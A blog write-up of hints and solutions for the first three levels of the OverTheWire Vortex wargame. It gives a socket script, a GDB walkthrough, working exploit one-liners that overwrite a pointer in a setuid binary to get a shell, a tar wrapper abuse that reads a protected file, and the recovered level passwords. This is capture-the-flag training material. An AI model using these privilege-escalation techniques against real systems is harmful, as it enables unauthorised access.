My Hints and Solutions to the First Three Levels of Over the Wire Vortex

|

I recently found more wargames at overthewire.org. Here are my hints and solutions for the first three levels of Vortex. The levels are cumulative. We have to beat the previous level in order to access the next.

Vortex Level 0 -> Level 1

Hint 1: how much data Connect to the host and port and read all the bytes you can. How many bytes do you get?

Hint 2: endianess “…read in 4 unsigned integers in host byte order” means the bytes are already in host byte order or little-endian. If your system is also little-endian, you don’t need to do anything special when interpreting the bytes.

Hint 3: expected reply How many bytes is each integer? What is the sum of all four?

My solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3

# Example output
# got bytes 53 ac 40 65 d4 36 07 63 5b 74 dd 4b 0f b6 cc 4d
# sum of first four unsigned ints (16 bytes assuming each unsigned int is 4 bytes) is 5938220433
# replying with bytes 91 0d f2 61 01 00 00 00
# Username: vortex1 Password: Gq#qu3bF3

import binascii
import struct
import socket

HOST = 'vortex.labs.overthewire.org'
PORT = 5842

s = socket.socket()
s.connect((HOST, PORT))

r = s.recv(1024)
print(f'got bytes {r.hex(" ")}')

ba = bytearray(r)
# Since the machine is a 32-bit system, each integer will be four bytes.
# So we interpret each integer four bytes at a time.
int_a = struct.unpack('I', ba[:4])[0]
int_b = struct.unpack('I', ba[4:8])[0]
int_c = struct.unpack('I', ba[8:12])[0]
int_d = struct.unpack('I', ba[12:16])[0]

# Sum all the integers.
_sum = int_a + int_b + int_c + int_d
print(f'sum of first four unsigned ints (16 bytes assuming each unsigned int is 4 bytes) is {_sum}')

# Packing like this seems to take care of endianess by default
reply_bytes = struct.pack('Q', _sum)
print(f'replying with bytes {reply_bytes.hex(" ")}')
s.sendall(reply_bytes)
r = s.recv(1024)
print(r.decode('ascii'))

s.close()

Vortex Level 1 -> Level 2

This solution assumes we have solved the previous level and can SSH into the machine as user vortex1. Caveat: the machine is extremely slow.

First let’s find out some information about the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssh vortex1@vortex.labs.overthewire.org -p 2228
                 _
__   _____  _ __| |_ _____  __
\ \ / / _ \| '__| __/ _ \ \/ /
 \ V / (_) | |  | ||  __/>  <
  \_/ \___/|_|   \__\___/_/\_\

a http://www.overthewire.org wargame.

vortex1@vortex.labs.overthewire.org's password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 4.4.0-92-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

It’s a machine running Ubuntu 14.04.

1
2
vortex1@vortex:~$ uname -i
x86_64

It’s a 64-bit system.

1
2
vortex1@vortex:~$ cat /proc/sys/kernel/randomize_va_space
0

ASLR is disabled.

Hint 1: password location for next level The instructions don’t tell you this, but the password for the next level is located in the directory /etc/vortex_pass.

Hint 2: required permissions What are the permissions of the password file for the next level? How can you read this file?

Hint 3: program source code What does the program do? Can you see the code path you need to execute to elevate your privileges?

Hint 4: how to change ptr How can you change the value of ptr to the right value? You shouldn’t need to send more than ~300 bytes to the program to do so.

My solution

Let’s disassemble the executable to gain some insight into the stack layout.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
vortex1@vortex:~$ gdb /vortex/vortex1
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /vortex/vortex1...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel
(gdb) set pagination off
(gdb) disassemble main
Dump of assembler code for function main:
   0x080485c0 <+0>:    push   ebp
   0x080485c1 <+1>:    mov    ebp,esp
   0x080485c3 <+3>:    push   esi
   0x080485c4 <+4>:    push   ebx
   0x080485c5 <+5>:    and    esp,0xfffffff0
   0x080485c8 <+8>:    sub    esp,0x220                  # Set stack pointer
   0x080485ce <+14>:   mov    eax,gs:0x14
   0x080485d4 <+20>:   mov    DWORD PTR [esp+0x21c],eax
   0x080485db <+27>:   xor    eax,eax
   0x080485dd <+29>:   lea    eax,[esp+0x1c]
   0x080485e1 <+33>:   add    eax,0x100                  # + (sizeof(buf) / 2)
   0x080485e6 <+38>:   mov    DWORD PTR [esp+0x14],eax   # ptr is located at $esp + 0x14
   0x080485ea <+42>:   jmp    0x804868e <main+206>
   0x080485ef <+47>:   mov    eax,DWORD PTR [esp+0x18]
   0x080485f3 <+51>:   cmp    eax,0xa
   0x080485f6 <+54>:   je     0x80485ff <main+63>
   0x080485f8 <+56>:   cmp    eax,0x5c
   0x080485fb <+59>:   je     0x8048615 <main+85>
   0x080485fd <+61>:   jmp    0x804861c <main+92>
   0x080485ff <+63>:   mov    DWORD PTR [esp+0x4],0x200
   0x08048607 <+71>:   lea    eax,[esp+0x1c]
   0x0804860b <+75>:   mov    DWORD PTR [esp],eax
   0x0804860e <+78>:   call   0x804856d <print>
   0x08048613 <+83>:   jmp    0x804868e <main+206>
   0x08048615 <+85>:   sub    DWORD PTR [esp+0x14],0x1
   0x0804861a <+90>:   jmp    0x804868e <main+206>
   0x0804861c <+92>:   mov    eax,DWORD PTR [esp+0x14]
   0x08048620 <+96>:   and    eax,0xff000000
   0x08048625 <+101>:  cmp    eax,0xca000000
   0x0804862a <+106>:  jne    0x804866b <main+171>
   0x0804862c <+108>:  call   0x8048430 <geteuid@plt>
   0x08048631 <+113>:  mov    esi,eax
   0x08048633 <+115>:  call   0x8048430 <geteuid@plt>
   0x08048638 <+120>:  mov    ebx,eax
   0x0804863a <+122>:  call   0x8048430 <geteuid@plt>
   0x0804863f <+127>:  mov    DWORD PTR [esp+0x8],esi
   0x08048643 <+131>:  mov    DWORD PTR [esp+0x4],ebx
   0x08048647 <+135>:  mov    DWORD PTR [esp],eax
   0x0804864a <+138>:  call   0x80483e0 <setresuid@plt>
   0x0804864f <+143>:  mov    DWORD PTR [esp+0x8],0x0
   0x08048657 <+151>:  mov    DWORD PTR [esp+0x4],0x804876a
   0x0804865f <+159>:  mov    DWORD PTR [esp],0x804876d
   0x08048666 <+166>:  call   0x8048420 <execlp@plt>
   0x0804866b <+171>:  lea    eax,[esp+0x1c]
   0x0804866f <+175>:  add    eax,0x200
   0x08048674 <+180>:  cmp    DWORD PTR [esp+0x14],eax
   0x08048678 <+184>:  jbe    0x804867c <main+188>
   0x0804867a <+186>:  jmp    0x804868d <main+205>
   0x0804867c <+188>:  mov    eax,DWORD PTR [esp+0x14]
   0x08048680 <+192>:  lea    edx,[eax+0x1]
   0x08048683 <+195>:  mov    DWORD PTR [esp+0x14],edx
   0x08048687 <+199>:  mov    edx,DWORD PTR [esp+0x18]
   0x0804868b <+203>:  mov    BYTE PTR [eax],dl
   0x0804868d <+205>:  nop
   0x0804868e <+206>:  call   0x8048400 <getchar@plt>
   0x08048693 <+211>:  mov    DWORD PTR [esp+0x18],eax          # x is located at $esp + 0x18
   0x08048697 <+215>:  cmp    DWORD PTR [esp+0x18],0xffffffff
   0x0804869c <+220>:  jne    0x80485ef <main+47>
   0x080486a2 <+226>:  mov    DWORD PTR [esp],0x8048775
   0x080486a9 <+233>:  call   0x8048440 <puts@plt>
   0x080486ae <+238>:  mov    eax,0x0
   0x080486b3 <+243>:  mov    ecx,DWORD PTR [esp+0x21c]
   0x080486ba <+250>:  xor    ecx,DWORD PTR gs:0x14
   0x080486c1 <+257>:  je     0x80486c8 <main+264>
   0x080486c3 <+259>:  call   0x8048410 <__stack_chk_fail@plt>
   0x080486c8 <+264>:  lea    esp,[ebp-0x8]
   0x080486cb <+267>:  pop    ebx
   0x080486cc <+268>:  pop    esi
   0x080486cd <+269>:  pop    ebp
   0x080486ce <+270>:  ret
End of assembler dump.

At main+8, the stack pointer esp is decreased by 0x220 to make room for unsigned char buf[512], unsigned char *ptr, and unsigned int x. If we look more closely at the assembly, we can see ptr is located at esp + 0x14 because the instruction before that increases eax by 0x100 or (sizeof(buf) / 2) or 256. main+211 shows x is located right after ptr at esp + 0x18 since the instruction right before calls getchar(). This means buf[512] is after that and takes up the majority of the stack. So the stack layout is ptr, x, then buf[512]. This makes sense because the compiler on more modern systems will put buffers after other variables to protect against buffer overflows.

Question: why is the size of ptr only 4 bytes? I thought on 64-bit systems pointer variables are 8 bytes not 4 since memory should be 64-bit- or 8-byte-addressable?

We set a breakpoint at the getchar() call and run the program. Examine the first 64 words of esp in hexadecimal.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb) break *main+206
Breakpoint 1 at 0x804868e

(gdb) run
Starting program: /vortex/vortex1

Breakpoint 1, 0x0804868e in main ()

(gdb) x/64wx $esp
0xffffd4c0:    0xf7e303b4  0xf7fd81a8  0x00000000  0xf7fec4a8
0xffffd4d0:    0x00000007  0xffffd5dc  0x00000001  0x00000000
0xffffd4e0:    0x00000001  0xf7fd81a8  0xf7ffd000  0xf7fe6d3b
0xffffd4f0:    0xf7ffc000  0x00001000  0x00000001  0xf7fe6cfc
0xffffd500:    0xf7ffd000  0x00000000  0xffffd5c8  0xf7fe724b
0xffffd510:    0xf7ffdaf0  0xf7fd8760  0x00000001  0x00000001
0xffffd520:    0x00000000  0xf7ff578c  0x00000000  0x00000000
0xffffd530:    0xf7ffd55c  0xffffd598  0xffffd5b8  0x00000000
0xffffd540:    0xf7ff578c  0xf7ffd55c  0xffffd5b8  0xf7fdc4ac
0xffffd550:    0xf7fdc2dc  0xf7fe4f3d  0xf7e36061  0x080482ff
0xffffd560:    0x00000000  0xf7fdc33c  0x00000000  0xf7fdc000
0xffffd570:    0x00000040  0x00000002  0x0804827d  0xf7ffdc24
0xffffd580:    0xf7e226bc  0xf7ffd000  0xf7e26cc4  0x00000001
0xffffd590:    0xf7fd8460  0xf7fe5694  0x00000000  0x00000000
0xffffd5a0:    0x00000000  0x00000000  0xf7fd8460  0x00000003
0xffffd5b0:    0xffffd5e0  0x07b1ea71  0xf63d4e2e  0xf7e26ed4

ptr is located at $esp + 0x14 = 0xffffd4d4 which is initialized with a value of 0xffffd5dc. Since ASLR is disabled, this location is fixed.

I first thought of a brute-force strategy of decrementing ptr’s value with \ until its highest byte was 0xca. That way, when it’s bit-wise ANDed with 0xff000000, the result would be 0xca000000. The exploit would be the following.

1
2
3
4
5
6
7
8
(python -c 'import sys; sys.stdout.write("\\" * (0xffffe470 - 0xcaffffff) + "\x00")'; cat) \
  | /vortex/vortex1

id
uid=5002(vortex2) gid=5001(vortex1) groups=5002(vortex2),5001(vortex1)

cat /etc/vortex_pass/vortex2
23anbT\rE

Aside: the Python command is run in a subshell with an extra cat to keep the /bin/sh listening to more input from the stdout of that subshell. That way we can add more commands from the terminal. The Python command triggers the /bin/sh. The cat with no args just reads from the current stdin and feeds data to /bin/sh. See this Stack Exchange answer.

This is definitely not the best solution because 0xffffd5dc - 0xcaffffff = 0x34ffd5dd = 889,181,661. If written to disk, this file would be almost a gigabyte.

Let’s think of a better solution. There’s no lower bound checking on ptr’s value. So we can decrement the value of ptr until it references its own memory address which starts at 0xffffd4d4. Then we write 0xca into the highest byte at 0xffffd4d7. ptr’s value is initialized to 0xffffd5dc. So we write this many \: 0xffffd5dc - 0xffffd4d7 = 0x105 = 261. Instead of the seemingly arbitrary 261, we’ll use 512/2 + 5. This is more descriptive because it shows we’re moving the ptr reference from where it starts in the middle of buf[512] back to the beginning and then past the x and one byte into itself.

1
2
3
4
5
(python -c 'import sys; sys.stdout.write("\\" * (512/2 + 5) + "\xca" + "A")'; cat) \
  | /vortex/vortex1

id
uid=5002(vortex2) gid=5001(vortex1) groups=5002(vortex2),5001(vortex1)

Now that we have a shell as vortex2, we can read the password to advance to the next level.

1
2
3
4
5
6
7
ls /etc/vortex_pass
vortex0   vortex11  vortex14  vortex17    vortex2   vortex22  vortex25  vortex5  vortex8
vortex1   vortex12  vortex15  vortex18    vortex20  vortex23  vortex3   vortex6  vortex9
vortex10  vortex13  vortex16  vortex19    vortex21  vortex24  vortex4   vortex7

cat /etc/vortex_pass/vortex2
23anbT\rE

Vortex Level 2 -> Level 3

Hint 1: number of args You don’t need to use all the available argv slots used in the executable.

Hint 2: $$ What is $$? What is its value in the context of the executable?

Hint 3: file to tar What file do you need to read? How can you use the program to read it?

My solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
vortex2@vortex:~$ /vortex/vortex2 /etc/vortex_pass/vortex3
/bin/tar: Removing leading `/' from member names

vortex2@vortex:/etc/vortex_pass$ ls -ail /tmp/ownership.$$.tar
ls: cannot access /tmp/ownership.1657.tar: No such file or directory

vortex2@vortex:~$ ls -ail /tmp/ownership.\$$.tar
2670 -rw-rw-r-- 1 vortex3 vortex2 10240 Dec 26 21:15 /tmp/ownership.$$.tar

vortex2@vortex:~$ tar -xvf /tmp/ownership.\$$.tar
etc/vortex_pass/vortex3

vortex2@vortex:~$ ls -ail etc/vortex_pass/
total 12
2808 drwxrwxr-x 2 vortex2 vortex2 4096 Dec 26 21:16 .
2689 drwxrwxr-x 3 vortex2 vortex2 4096 Dec 26 21:16 ..
2809 -r-------- 1 vortex2 vortex2   10 Nov  4  2019 vortex3

vortex2@vortex:~$ cat etc/vortex_pass/vortex3
64ncXTvx#

Comments